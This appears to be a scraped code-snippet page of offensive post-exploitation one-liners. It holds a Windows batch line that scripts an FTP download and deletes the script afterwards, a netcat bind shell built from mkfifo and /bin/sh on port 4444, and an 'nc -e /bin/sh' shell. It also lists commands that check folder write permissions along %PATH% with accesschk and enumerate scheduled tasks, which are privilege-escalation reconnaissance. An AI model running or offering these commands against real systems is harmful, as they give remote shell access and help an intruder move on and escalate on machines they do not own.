This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
One liner to download file from ftp server | |
echo open WEBSITE >> ftp &echo user USERNAME PASSWORD >> ftp &echo binary >> ftp &echo get FILENAMETODOWNLOAD >> ftp &echo bye >> ftp &ftp -n -v -s:ftp &del ftp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 4444 > /tmp/f # for new version of nc | |
nc -e /bin/sh blah # old version of nc |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Parsing %PATH% variable in Windows | |
for %a in ("%path:;=";"%") do @echo %~a | |
# Apply accesschk.exe to each PATH in %PATH% and check our access permission to that folder | |
for %a in ("%path:;=";"%") do accesschk.exe -dqv "%~a" | |
# Check all scheduled tasks | |
schtasks /query | |
schtasks /query /fo LIST /v |